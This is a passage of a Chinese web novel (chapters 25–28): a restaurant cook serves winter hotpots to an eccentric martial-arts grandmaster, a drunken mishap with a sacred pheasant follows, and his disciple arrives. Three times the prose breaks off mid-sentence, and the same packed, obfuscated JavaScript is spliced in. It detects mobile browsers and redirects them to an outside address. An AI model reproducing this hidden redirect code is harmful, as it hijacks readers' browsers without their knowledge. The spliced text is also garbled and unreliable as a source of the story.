此时程六水便走了出来大声道,“各位客官,临近立冬本店推出了暖身十二锅,热气腾腾滋补养身,欢迎各位客官来尝鲜。” “老夫来尝尝,不能白看了张小子这落英飞花剑。”一发丝胡子皆白了的老翁忽而从空中一跃而下,中气十足道。 25. 第 25 章 这老翁鹤发童颜,挺着个不小的肚子,腰边别着一酒葫芦,自是一副逍遥洒脱模样。 张清寒听了这从天而降的熟悉声音,从容不迫地收起了佩剑,朝着老翁恭敬地抱拳行礼,“您还是来了。” “怎么这是不待见我这老头子,啧啧啧这是要赶客啊。”那老翁摆明是与张清寒不对付,故意曲解着他的意思,说罢就叉着个腰叫嚣起来。 乡亲们顿时议论纷纷,有说这老翁不讲理的,也有半信半疑真以为是十全酒楼挑食客呢。 “哪能啊,您快里边请,可得好好尝尝我们厨子最新推出的冬日锅子,香得不要不要的。”马陶陶见状,赶紧迎了进去。 那老翁得意洋洋地瞥了瞥张清寒一眼,大摇大摆地就进了酒楼,众乡亲们自然也随大流进去捧场了,尤其是听说六水厨子新做了暖身十二锅,还当真是好奇呢。 “我不听我不听,你这小跑堂讲不明白,我要你们掌柜的来讲,什么叫暖身十二锅。”这老翁好不容易落了座,又鼻子不是鼻子脸不是脸地对着马陶陶好一顿刁难。 “啊啊啊啊啊啊!”马陶陶良好的教养令她没法子当面就开口骂着这老头子,只能对着空气无能狂怒,怒完气哄哄地跑去找张东家去了。 “东家你管管啊,你看看今天客人本来就多,那老头吹毛求疵鸡蛋里挑骨头,一看就不是什么好人。”马陶陶连堂都不跑了,对着张清寒一顿骂骂咧咧。 张清寒没有说话,只是用手指头比了一个“嘘”,随后拿出张纸来用笔写道,“别骂他,他听得见。” 马陶陶吓得迅速缩成了只鹌鹑,颤颤巍巍举起手开始比划,一会儿捏耳朵一会儿掐脖子的,看得张清寒一愣一愣的。 “。。。你比划啥呢?”张清寒不解道。 “她说要是你不管,她就去找六水打小报告,到时候你就完了。”乔四方拨楞着算盘珠子道,连眼睛都没抬一下。 张清寒无奈地摇了摇头,只能径直上了楼,去面对这么个难缠的家伙。 “归隐多时不知踪迹的太白散人大驾光临,不知有何贵干?”张清寒立于老翁面前,古井无波道。 老翁压根不看张清寒,只是在那翻菜牌,哎呦呦这个珍珠白玉粥锅子挺有意思,粥还能做锅子了?可这酸菜白肉锅也很合他的胃口,那五花白肉酸爽弹牙得多香啊。 “前辈?” “别吵吵,你说说这椰子鸡锅子是啥?椰子是什么,老夫还闻所未闻。”太白散人捋着一把长长的胡子惊奇道。 “前辈,三年期限已到,您不是来找我比剑的吗?还有心思在这研究锅子?”张清寒也不装了,直接坐在太白散人对面,还给自己倒了杯茶润喉。 这太白散人才反应过来,一拍脑门惊醒了,这怎么还把正事给忘了呢,但他实在是又放不下菜牌上这么多个好吃的,“你别转移话题,你肯定也不知道椰子是啥。” “我知道,而且这椰子由于运输路途遥远,故而每日的椰子鸡皆是限量的,你要是再挑挑拣拣,估计连一锅都不剩了。”张清寒冷笑道。 “那你还在这说什么废话,给我上一个椰子鸡锅,还有菊花暖锅。”太白散人看着菜牌上的连环小画,口水都快流下来了。 他这人活了一大把年纪了,没什么别的爱好就是爱吃,越不让他吃他就越抓心挠肝的。 “你一个人吃一个锅子就行了,岁数大了不消化。”张清寒无差别吐槽道。 “我就要两掺着吃,咋的你个兔崽子有意见?”太白散人内力一震,狮吼功大发吹得这屋里的帘子摇摇欲坠。 “没意见,老兔崽子。”张清寒转身就走了。 太白散人,武林三大宗师之一,神出鬼没脾气古怪,嗜好品鉴美食,这么一位高手与张清寒有着错综复杂的关系。 比如,他小时候饿得没饭吃,是太白散人分了一半白馒头给他;又比如,三年前比剑,他以自创的寒霜剑法险胜这位武林宗师,自此他声名大噪,而两人的梁子也结下了。 太白散人非嚷嚷着什么三年之约,三年之后定要再比试一场,如张清寒能再赢了他,他就给张清寒打杂。 张清寒并不想承认这个约定,但怎奈这老家伙真的按时上门了,他要是输了还好,可要是赢了怎么办?让老家伙打杂?那还不把他这酒楼全砸了。 “六水六水。”程六水听着耳边殷切的呼唤,还有要被拽掉了的袖子,实在是头疼得很。 “没有了真的没有了,最后一份椰子鸡刚被隔壁刘掌柜定了。”程六水道。 “可那里不还有椰子吗?”张清寒软软地说道,指着角落里圆滚滚的椰子道。 “那是明日的呀,商船一次也就能运来半月的量,今日吃了明日就没有了。”程六水解释道,顺便将自己的袖子从那大手里抽走,真是的总拽袖子做什么,多费衣服啊。 张清寒抿起嘴来,嘴角不自觉耷拉了下来,眼睫的阴影在苍白的脸上格外明显,当真是一副楚楚可怜的模样。 “今日让他吃了,他就走了。我们正经做生意的,不能天天伺候这么个江湖人。”张清寒又稍稍撇了撇嘴道。 江湖人?这个江湖人不是你惹来的吗?为什么要偷我的椰子!程六水心中气得很,但一对着这么张脸,又说不出话来。 “行了行了,拿去用吧。”程六水只能败下阵来,真的是对美色没有一丝抵抗力啊。 “嘿嘿小老儿我能吃了吗?”还不等张清寒去拿椰子,这太白散人就自己溜达走进了后厨,全然没拿自己当外人。 “后厨禁地,闲杂人等禁止入内。”程六水正在煮菊花暖锅,将已经在水里洗净的菊花撒进早已吊好的鸡汤里。 这鸡汤可不单单是老母鸡熬煮出来,还要加上那腌制好的火腿片,几粒瑶柱,最后再加上葱姜去腥,晨起就起来熬了,现下正是鸡汤鲜美咸香的好时候。 瓣瓣菊花飘散在鸡汤中,诗情画意清新雅致,深秋做这菊花暖锅最是合节气,菊花清火明目,微苦清香正好中和了鸡汤的油润,但这菊花不可久煮, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16451463|184456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只稍稍那么一会儿便要捞出,端上桌去客人可按照喜好随时添菊,再涮上嫩鸡肉片鱼片,那吃得是满口清香。 太白散人眼巴巴地瞅着菊花锅,压根挪不动脚步,“小丫头,这菊花锅是我的吗?” “是,等会就给您送到楼上去。”程六水忙碌间点了点头道。 “不用!我在这吃就行,锅边饭啊就是香。”太白散人自己拽了个小板凳就坐下了,乖巧地朝着程六水道。 太白散人活了大半辈子还能看不出来,他能不能吃上一口美食佳肴,都得听这小丫头的,那张小子真是半点用都没有。 “后厨太嘈杂了,怕您在这吃不好。”程六水推脱道。 “不不不,我打眼一看你这小丫头就和你投缘,我一个孤寡老人孤零零地在楼上吃锅子,真是一把老泪纵横啊,我那不肖的徒弟也早就不知跑去哪了。”太白散人竟还伤怀了起来。 益州深山里的赵某人后背冷飕飕的,总感觉有人在骂他,但他找不到证据。 “那您坐这儿吃也行,来给老先生端过去。”程六水终将败于太有良心,只好让张清寒找了个小矮桌摆在后厨。 太白散人眼见端上来的汤锅了,一朵硕大的菊花飘荡其中,鼻翼间的清香竟仿佛将他置身于花枝下园林间。舀一碗清汤咸香香醇,微苦的菊花留有一丝入口的回甘,当真是人暖了心暖了。 “这还有您点的椰子鸡锅。”程六水这才倒出功夫来,又端了锅过来。 太白散人直勾勾地往锅里看去,这怎么还是个空锅呢?他只能疑惑不解地看向程六水。 “您先别急,椰子鸡的锅底我现场为您做。”程六水说罢,便从身后撬开了两个圆咕隆咚的椰青,清爽甘甜的味道扑面而来,咕咚咕咚全部倒入空锅。随后再将椰肉,红枣还有枸杞倒入了椰汁中,不一会儿锅中便翻滚了起来。 “这是可以下肉了不?”太白散人目不转睛地瞧着锅里道。 “正是呢,把这新鲜的鸡块倒进去,焖煮一会儿便成了。再佐以本店特制的蘸料,里面的沙姜青桔还有辣椒也都是从儋州买回来的。”程六水笑道。 “儋州?那这椰子也是儋州来的喽?”太白散人用筷子戳了戳刚刚用完的椰青。 “自然是了,正因儋州离江陵路途远,又只能走商船,所以这椰子鸡锅才要限量。”程六水道。 “不错不错,小老儿我今天也算是长见识了,这菊花暖锅我是在江南吃过的,你做的很得当地精髓,而这椰子鸡却是第一次吃,儋州小老儿我还去过,就凭这道菜我定要去上一去。”太白散人连连点头道。 “那您到时候到了儋州可要再尝尝这椰子鸡,看看我做的是不是也不比儋州的差。”程六水调笑道。 “好,一言为定,到时候啊我给你千里飞书。”太白散人这人虽古怪,却就好交些同好,一起吃吃喝喝岂不美哉。 张清寒刚进后厨来取别桌的菜,就听到了太白散人这话,脑瓜子嗡嗡的,完了这老家伙他们酒楼是甩不脱了。 26. 第 26 章 两个锅子都咕咚咕咚地冒热气,一左一右围着太白散人,一筷子薄如蝉翼的斑鱼片就涮进了菊花暖锅,鱼肉三五瞬便熟透了,蘸上那咸淡正好的清酱,这鱼片的鲜美弹牙一下子就直冲舌尖,吃得太白散人那叫一个满足呀。 一旁椰子鸡里的鸡块也好了,嫩滑自不必说了,这鸡定是选了刚刚长成的走地鸡,不柴不肥,裹满酱汁更是咸香酸辣,与那菊花锅是各有千秋,均是不可多得的好锅子。 不一会儿,除了这俩锅子,小矮桌上又多了许多涮菜,一掐一包水的小青菜,软糯甘甜的土豆还有山上新摘的野菇子。 太白散人涮完这个涮那个,吃完这个吃那个,一圈下来肚子吃得溜圆,连那小板凳都不坐了,瘫坐在地上,痛饮酒葫芦里的美酒。 还真别说张小子搞得这个酒楼有模有样的,菜好酒也好,后厨那个忙着做饮子的后生方才鬼鬼祟祟地过来,偏要拉着自己品鉴下酒楼新酿出来的酒。 据那后生说,这酒竟然是取秋日晨露做底,再用上头茬最为饱满的高粱酿制而成,酒汤白而不散,烈而不燥,取了个文绉绉的名字“秋露白”。 太白散人一喝便知这是不可多得的好酒,赶紧取下腰间的酒葫芦,满满灌了一葫芦,还偷偷摸摸地怕张小子看见,那小子看见又得去打小报告了。 可惜他低估了这酒的烈性,只以为入口甘甜清冽便多喝了几杯,哪知后劲如此之大,喝着喝着怎么就看东西重影了呢。 眼前两个锅子变成了四个八个,再然后他就什么都不知道了。 “事已至此,咱们把他埋了吧。”程六水双眸微红,虽心有不忍,却也最终还是开口道。 “可要是就这么不明不白地埋了,以后找地方都没处说理去。”马陶陶小声说道。 “都是我的错,我悔啊我不该啊。”杜少仲一边拿着锄头使劲挖土,一边低头认错。 “这是我们三个人的秘密,谁也不能说知道吗?”程六水在这乌漆麻黑的夜里小心叮嘱道。 太白散人听了这话,惊恐地想要张开眼睛,却发现怎么也睁不开,浑身被束缚住动弹不得,想大声呼喊嘴角就一阵撕裂的痛。 “什么意思?这酒楼不会是黑店吧?他们正要埋我?”太白散人心里暗道不好,他这一世英名怎能折在此处,要是传出去他就算就九泉之下,也没脸做人了。 “快点啊,不然等会就被别人发现了。”马陶陶急迫地催促着干苦力的杜少仲,还时不时回头张望着有没有人发现。 而程六水则进了后厨一顿叮咣响,大力地挥动着某物,一下比一下用力。 烛火晃动的影子落在了太白散人的眼皮上,一下子他那眼皮仿佛解了禁制一样,颤颤巍巍地睁了条缝,熟悉的灶台熟悉的香味,这里还是后厨。 难不成他们要把自己埋在酒楼后院里,这胆子也太大了吧。太白散人眼见程六水神情严肃,半点没有白日里开朗之色,心中更是不满没想到他居然被个小丫头骗了,知人知面不知心啊。 太白散人想爬起来质问这个黑心肝的厨子,却一点力气也没有,当真是叫天天不应叫地地不灵,耳边偏还传来了那挖坑人的声音,“好了好了,这坑这么大肯定能埋得下。” 这挖坑人居然是那拉着他品鉴新酒的后生,原来这一切都是串通好的,就是要让自己命丧于此,好周密的谋划好歹毒的心啊!那张小子去哪了,怎么还不来救他,莫不是也被这小丫头给毒晕了。 太白散人心下发苦五味杂陈,到了这节骨眼上他才发觉最想见的就是他那不肖徒弟,可惜了终究是见不了最后一面了。 “你们在做什么?”忽然众人身后传来了寒冰般的声音,张清寒出现了。 张小子快来救我啊我在这里!太白散人发出了无声的嘶吼,宛如最后的绝唱。 “我们。。。”杜少仲吓得锄头都掉了,一点一点地挪动脚步躲在比他矮一头的程六水后面。 张清寒眉头一皱,冰冷的眼神扫视了后厨一圈,又顺着打开的厨房门看见了后院刚挖好的那个坑,“你们谁能给我解释下,这里为什么会变成了这样?还有老家伙怎么会成了这副鬼样子?” 只见太白散人一双眼没一个好的,一只成了核桃,一只乌漆麻黑,嘴巴更是直接肿成了两根腊肠,脑门还有个大红印子,就这么瘫在地上,身上还有缠得乱糟糟的辣椒串大蒜串。 整个厨房更是乱成一锅粥,南瓜掉在地上摔八瓣,铁锅没在灶台上,反而倒扣在地上,锅底竟然都有点变形了,白菜叶子到处都是,不知道还以为要在厨房养鸡呢。 提到鸡就更是离谱了,那后院有方小菜园,平日里小葱韭菜青菜就不用买了,在这自给自足本是好事,如今却有盆大个坑,坑旁边还有只被五花大绑的鸡,那鸡扑闪着翅膀不肯屈服,桀骜不驯地藐视众人。 “我们可以解释的对吧?”程六水咧开嘴笑得比哭还能看,回头看了看她的两个同伙。 两个同伙一个望天道,“今晚的太阳真圆啊。”一个盯着地道,“这地就是好看。” 程六水笑了,她两只手拎起了这俩人的后脖颈,气鼓鼓地拖着他们走到张清寒面前,深吸一口气道, “首先,老前辈的眼睛一只是被铁锅砸的,另外一只是被鸡屁股坐的。”程六水刚说了个开头。 那张清寒的脑袋就莫名地开始疼了起来,他忽然并不想听后面的解释了,不如把他埋进土坑里吧。 “嘴巴也是这鸡给啄的,头上的红印是老前辈自己睡半路起来,非要和鸡比赛谁飞得高,一下子就撞到房梁上,一只脚正巧埋进了大蒜串里,大蒜串连着十几串辣椒串,就全缠在老前辈身上了。”程六水不给张清寒拒绝的机会,一股脑全说了出来。 张清寒这回不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16456853|184456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 止头疼了,站都直打晃啊,他紧闭双眼平复了几下心绪才道,“那请问各位,这只鸡是哪来的?” 马陶陶憋着嘴缓慢地举起手来,“傍晚的时候,我在门口迎客,就在河边看见了这只鸡,我还没见过这么五彩斑斓的鸡呢,就想领回来给六水瞧瞧。” “五彩斑斓的鸡?”张清寒定睛再一看那绑着的鸡,好家伙那是什么普通的鸡啊,明明是江湖八大门派之一雪窦派的圣物——红锦鸡。 这红锦鸡冠顶明黄腹背朱红羽翼生绿,性子最为温顺,雪窦派只有被极为看重的弟子才能得此圣物,定要如珍似宝待之。 张清寒摇了摇头,这把太白散人伤成这样,已经够复杂的了,怎么还要加上雪窦派,“这红锦鸡怎会无缘无故啄太白散人的嘴?” 这回轮到杜少仲站了出来,“我最近酿了新酒名叫秋露白,白日里特意给老前辈品鉴一二,老前辈那可是连连称赞啊,还让我给他灌了一葫芦酒。后来这葫芦里的酒不知怎的就洒在地上,那鸡就喝了去。” “是老家伙喂给这鸡的?”张清寒现下已然被气笑了。 “不是不是,鸡没来之前,老前辈就醉倒了。”杜少仲腆着脸接着解释道。 “我听明白了,所以是陶陶和少仲搞成这个样子的,那六水你怎么也在这掺和?”张清寒问道。 程六水很不好意思道,“我这不是想逮醉鸡嘛,我就拿大铁锅去套鸡,一不下心踩到了南瓜滑了一跤,铁锅哎正好就砸到老前辈的眼睛上了。” “好好好,这烂摊子我是收拾不了了,你们就当我没来过没问过,你们仨该干啥干啥吧。”张清寒这下跑得比兔子都快。 “不行不行,我们还没开始埋呢,少仲累得直喘,我们需要苦力!”程六水赶紧拽住了逃跑的张清寒,哀求道。 “埋?你们要埋什么呀?是埋鸡还是埋人啊?”张清寒很不幸地被这么一拽,脚踩南瓜皮差点就摔了个狗吃屎,他气急败坏道。 “当然是埋鸡了,这鸡发了狂,我们根本整不过它,只能毁尸灭迹了。”马陶陶理所当然道。 听到这太白散人总算是松了一口气,还好不是埋他,埋鸡就埋吧。 “不许埋,这鸡是有主的,你们给它关笼子里,还有赶紧请个郎中来给老家伙瞧瞧!”张清寒招呼着前厅还在理账的乔四方来抬人,收拾碗筷的赵玉雨则赶忙连夜去请郎中。 其余三人乖得跟鹌鹑一样,低着头老老实实挨训。 所幸后院里还有间空房,太白散人躺在榻上一动不动,要不是有呼吸张清寒都以为他要成为六白山千古罪人了。 无奈之下,他只能拿来纸笔,迅速写下了一封飞鸽传书,让那信鸽翻越崇山峻岭去寻人来。 而深山中的赵某人收到信,急得浑身发抖,他肩扛着一把弯月大砍刀,抛下万家帮的一切事务,连夜骑马赶往江陵。 27. 第 27 章 “好好好!再来一个!”食客们的拍掌叫喊声不断,一个个桌子上摆着的是烧得滚烫的小铜锅,眼前看的是精彩绝伦的胸口碎大石。 男子生得极高,足足七尺多,大块头壮得很,远看就是座小山包,他轻松地拿起两块厚厚石板,石板应声落地砸碎了面前的瓷碗,十成十硬石板做不了假的。 他这才躺在长凳上,将那石板放在自己胸口上,眼神坚定地看向杜少仲,“来吧!” 杜少仲一介文弱书生,前几日刚挥完锄头,累得胳膊都抬不起来,如今又要来挥大锤了,只能硬着头皮上。 “哐当”一下,震得坐在前排的小女郎们不禁用丝帕捂住了耳朵,想看又不敢看的,透过指缝悄摸摸地看个大概。 乔四方整个人绷紧得很,他倒是没学过什么金钟罩铁布衫,只不过是此时全身内力运转着,真气外泄将那石板微微抬了些许距离,一锤又一锤锤得不是他,而是他身上的真气。 终于三声大锤了结了他胸口上的厚石板,乔四方扶着累得喘个不停的杜少仲,没事儿人一样挥舞着手臂,迎接着大家的喝彩。 十全酒楼这几日的花样实在是太多了,甭说是大堂已然坐满了食客,就是酒楼门外也围得里三层外三层,人挤人都能将鞋挤掉了。 一男子行色匆匆穿过江陵城,一把弯月砍刀丝毫不加掩饰地挎于腰间,万家帮的生意早就做到了货泉商帮那了,货泉商帮那是什么角色? 手眼通天直达天庭的皇商,自然对于合作伙伴总有些优待,比如他赵灵元即使在闹市中挎刀也不必受官府层层盘问,可谓是如过无人之境啊。 一路畅通无阻地就来到了十全酒楼前,赵灵元离两条街时就听见了此起彼伏的叫好声,不曾想居然是他师弟酒楼的动静,他只得下了马凑近想进门,怎奈他压根扒不开人群,被挤来挤去直接挤到最边边角角的位置上了。 “师弟!让我进去……”好歹也算是江湖上有名有姓的人物,赵灵元却觉着自己怕是命不久矣,很快就要被挤死或踩死了。 而他的好师弟张清寒,压根听不到这大声的呼救,他正在酒楼后院焦头烂额地收拾残局。 后院最左边的房间里,威震江湖的三大宗师之一,太白散人就躺在此处。六七十岁的老头头戴一鲜红发带,研磨好的药粉敷在额头上,散发出阵阵清苦的味道。 红肿的眼睛已经消得差不多了,只不过还是得拿鸡蛋揉揉,将那淤血揉开才好,最要命的便是那腊肠嘴,如今只能张开个小缝,吃喝费点劲但也能吃,只不过说话含含糊糊的听不太清。 太白散人仍是一动不动地躺在床榻上,明明晨起还吃了三碗豆腐脑五根油条,用那漏风的嘴和那程六水说得那叫一个起劲啊,现下对着张清寒又摆出了这么副死样子。 “郎中说你这伤不出三日就能好利索了,我叫了灵元师兄来接你。”张清寒在坐在屋内说道。 太白散人一个白眼翻了过去,当做根本没听见,还蹬了个腿给自己盖上了被子,他可是个知冷知热的人。 “别以为我不知道你在想什么,甭想赖在这里不走。”张清寒继续说道。 “散粘只越。”太白散人没好气地说了句话。 “三年之期已过,你受伤我弃权,如此便算个平局吧,你我就此作罢。”张清寒道。 “偶不同意。”太白散人气得坐起来道,虽然自己现在一身的伤,但他宽宏大量地不与这些个小辈计较,毕竟他们也不是故意的嘛。 而且六水那丫头做的病号饭是真香啊,他吃了一辈子也不得不承认这丫头有一手,她干脆别叫程六水了,叫程一手得了。就算是为了病号饭,他也得在这多待些时日,绝对不能被他的倒霉徒弟接走。 要不他就带着他那徒弟留在这一同蹭饭,他徒弟一表人才,胳膊是胳膊腿是腿的,六水见了肯定喜欢,她一喜欢自己还能缺吃的吗? 张清寒眼见太白散人方才还一脸的不愿意,怎么一转眼就变脸了,笑得如此诡异,令他背后凉飕飕的。 “前辈,今日的午饭来喽。”程六水推开门,端了满满当当的饭菜过来。 “由什么?由什么?”太白散人也不装了,颠颠地跑下床榻,满嘴漏风道。 “您这嘴还没好全,我便遵了郎中的嘱托,发物之类的一概不做的,今日有香菇马蹄肉饼,秋白菜粉条,还有一碗鸡蛋羹,都是些软烂之物,最适合您现在的病情了。”程六水说着便将这些菜一样一样端到桌子上。 太白散人左右摆动脑袋目不转睛看着,那口水都快流下来了,“砍着就好次。” 他如今的嘴皮子还有些痛,只能小口吃却一点没耽误这家伙吃饭的速度,那香菇马蹄肉饼鲜嫩多汁,切得碎碎的香菇和马蹄同腌制好的肉馅搅和在一起,上锅蒸熟撒上葱花,那是好看又好吃。 肉饼软烂一戳就开,肉香四溢,其中还有几分马蹄的清甜和香菇的鲜味,唇齿间一抿就化开了,再配上碗粒粒分明的大米饭,一口肉饼一口米饭,简直是无上美味。 而秋白菜粉条更是直击太白散人的心尖,六白山位于北境内,一年里有四五个月都冷得能冻掉眉毛,白菜便是最好的食材,有些菜总是吃便觉得稀松平常,可若是在外久久不吃,哪怕是食尽山珍海味,也还是想着那一口。 更何况程六水这道菜做得简单还地道,几片五花肉煸炒几下,借其荤气后直接将那大白菜下锅大火翻炒,冷冰冰硬邦邦的大白菜没几下就软了心,这时便加些清酱盐巴即可。 咕嘟咕嘟着,开盖放些粉条豆腐,那粉条浸满了汤汁,水灵灵甜滋滋的白菜清香吃了一口就停不下来了。 最后这鸡蛋羹自是不必多说,蒸得火候恰到好处,浇上些香油用来拌饭实在是太妥帖了。 程六水做得菜码子大,三盘菜一碗饭就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16468826|184456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 占了大半张桌子,张清寒看这老家伙吃得狼吞虎咽的,他也馋得要命,秋白菜粉条他也想吃许久了,没想到竟让这老家伙抢了先。 张清寒偷偷摸摸拿了双筷子,又悄无声息地夹了一口粉条,“啪嗒”太白散人眼疾手快直接将这双邪恶的筷子打掉了。 “你老匹夫!”张清寒立着眼睛道。 “偶的偶的都是偶的!”太白散人不甘示弱道。 “你们别吵了,要是不够吃我晚上再做……”还不等程六水说完,就见房门再次被推开。 这次进来的人着实令所有人都惊得掉了下巴,一表人才的万家帮帮主,高高束起的发髻被扯得一溜一溜的,散落的头发垂得到处都是,身上棉绸做的长袍竟然被撕了好几个口子,可怜兮兮地裂开了,全身上下就那一把弯月砍刀算得上齐整。 “师兄你被打劫了?”张清寒打破久久的震惊道。 “偶不走偶病还没好偶要待在这里。”太白散人嘴角还有秋白菜呢,就在这大声叫嚣着。 程六水什么都没说,因为她的脑子当场宕机了,师兄?什么意思?那个捉她去还债,不还就要扔去喂狼的帮主是张清寒的师兄? 她隐约还记得张清寒说过,太白散人的徒弟这几天会来接他,那这个破破烂烂的帮主是太白散人的徒弟?是张清寒的师兄?那张清寒和太白散人压根就不是什么对峙决战的敌手,而是同门中人。 如此混乱的关系在程六水的脑袋里逐渐清晰,于是她开始思考真正至关重要的事情,比如真的会杀人的债主上门了怎么办? “吃了吗?要一起吃点吗?”程六水想了一圈也没想明白后,脱口而出道。 “没吃,你???”赵灵元瞳孔不断震颤,谁能告诉他,这个骗取他信任的程门传人为什么在这? 程六水一个滑步便躲在了太白散人和张清寒身后,可怜巴巴地从两人中间钻出个头来道“好久不见大侠。” “你还敢和我说好久不见?我下面的人找你找得都魔怔了!”赵灵元挥舞着他两只破破烂烂的袖子,濒临崩溃道。 快马疾驰几日几夜而来,就怕赶不上师父的最后一面,风餐露宿这些时日还要在酒楼门口被扯得破破烂烂,没想到师父没什么事,居然还在这儿碰到了骗子,这位帮主大人都要气笑了。 “我留了信的,我要是想起来怎么做霹雳火弹,我就去找你了,我这不是没想起来了嘛,不对是想起来了一点点。”程六水心虚道,说罢还凑得离张清寒更近了些。 “师兄莫急,有什么事慢慢说,要不坐下来先吃饭吧,六水再去做几个菜来。”张清寒一个劲地挤眉弄眼道。 “是是是。”程六水这回比谁都话少,麻溜就跑走了,独留六白山三人组在屋内。 张清寒紧闭房门,这才回头直视赵灵元郑重道,“师兄,程六水这个人我保了,不管你们之间到底发生了什么。” 28. 第 28 章 如同当头一棒砸到赵灵元的头上,他不禁踉跄了几下差点就没站稳,“你……们……” “师兄数月不见,你怎么还添了结巴的毛病?”张清寒倒似个没事人般坐下来,眼神微微略过了一脸微妙的太白散人又道,“对了,你师父已无大碍,师兄要不接回益州再静养一段日子?” 一个晃神的功夫,太白散人早就躺在床上又一动不动起来,仿佛只有出的气没有进的气了。 “现在是聊静不静养的时候吗?你和那程家人到底是个关系,你竟然不问缘由就要保下她?”赵灵元做了太白散人二十年关门弟子,太白散人一个动作他便心领神会。 他赶紧转移着话题,还将自家师傅硬往床榻里推了推,面上装得是担忧不已,实则就是想围观吃瓜,要债要不到无所谓,瓜是一定要吃好的。 “我知她品性不坏,顶多就是为了程家的事与师兄有些嫌隙,程家已是树倒猢狲散,她又能有什么办法,如此这般保下她有何奇怪?”张清寒显然在顾左右而言他,只是这面上却红润不上,定然是做了什么亏心事的。 赵灵元一听这话,便悄摸地与自家师父挤眉弄眼起来,太白散人乌漆麻黑的眼眶十分灵动,眼皮都要飞了起来,恨不得替他徒弟开口问。 “师弟你不会是单相思吧?”赵灵元接收到了师父接连不断的信号,越接收越皱眉,最后千言万语只汇成了这句令他自己都无法相信的话,他那清冷淡漠常年冰块脸的师弟居然铁树开花了??? 张清寒瞬间从头红到尾,耳朵尖差点就能滴出血来了,“师兄你莫要乱说,对女孩子家声誉不好,我去看看菜做得怎么样了!” 说罢便头也不回地跑了,明明就三两步路的功夫都用上十成十的轻功了,一道虚影“嗖”地一下就消失了。 赵灵元瞧着他落荒而逃的背影,睁圆了眼睛使劲摇晃着他那半死不活还在装死的师父,“师父是真的!” “当然似真的,揪你打光棍。”太白散人幸亏是吃得圆滚滚的,要不然一身骨头架子都得被晃散,但就算是这样,他也不忘用漏风嘴吐槽自己的没出息徒弟。 太白散人确实是六白山里的长老,他收了赵灵元这个小徒弟以后还是不安分得很,总是想着出了山偷摸吃好吃的,可六白山是个隐世门派,即使游走于江湖之中,也都是要隐姓埋名的,故而江湖上无人知晓三大宗师之一的太白散人出自六白山,只道是凭空出世的武学奇才。 至于三年前与张清寒的那场比试,就更是秀才遇到兵,有理说不清了。太白散人就只是潜入了皇宫御膳房里,拿了只八宝葫芦鸭而已,不知怎的吃到一半就被正在宫内巡视的张清寒发现了。 那张清寒小时候就八竿子打不出来句话,长大了一个德性,啥也不说就追着他跑啊,这给太白散人吓得以为是自己犯了什么六白山的禁忌呢,上面派张清寒来捉自己了。 两人一个跑一个追,从皇宫追到京郊,最后都跑到老扫帚峰了,太白散人也是有脾气的,他一摸怀里的八宝葫芦鸭都跑凉了,能不生气嘛。 这二人就在老扫帚峰打起来了,天边太阳刚冒了个头,太白散人将怀里的葫芦鸭妥帖地放在了树荫下,一指真气便朝着张清寒射去,电光火石间张清寒抽出了佩剑,剑锋与真气硬碰硬了下,两人竟都后退了两步。 “张小子几年不见,你可真是了不地啊,都快赶上你师父了。”太白散人纵身一跃,全身真气汇于十指之间,那指力挥洒之际,一旁的百年老树被横穿而过,瞬间应声倒地。 张清寒仍是不语,只是一味地瞅着那地上的葫芦鸭被砸成了个稀巴烂。 太白散人顺着这目光看去,整个人都不好了,恨不得立时坐地上哭爹喊娘起来,“你都是你,我那么大一个葫芦鸭没了全没了。” “你偷鸭在先,怎么还赖起我来了?”张清寒冒着凉气的声音缥缈传来,那无辜还带着指责的语气刹那间点爆了太白散人饿了很久到嘴的鸭子还跑了的脆弱神经。 数道真气“嗖嗖嗖”一股脑砸向了张清寒,张清寒一个扫腿又在空中飞快地越过那如同生了意识般的真气,脚踩几米高的树干脚底如生风了般,任凭太白散人使劲浑身解数也打不到他。 “我看你小子是什么也没学会,就学会逃了!有辱师门啊!”太白散人本就是个老顽童,说出那个话可谓是无中生有闻者气死。 激得张清寒差点在空中跑偏了,好悬没踩进万丈悬崖里,“既然师叔有意较量,那清寒恭敬不如从命了。” 一把寒气逼人的利剑再次亮刃,冰蓝剑气环绕在剑身处,那剑尖比雪山巅最为迅捷的雪豹还快,三五瞬间便刺向了太白散人的肩头。 太白散人吓得一个侧身,好悬好悬头还在,就是头发丝没了几根,两人这才实打实对起阵来。 艳阳高照下,寒霜般的剑气与磅礴真气交缠在了一起,互相掣肘谁也占不得便宜,阵中两个虚影激烈地打斗着,而阵外不知何时聚起了一群武林人士。 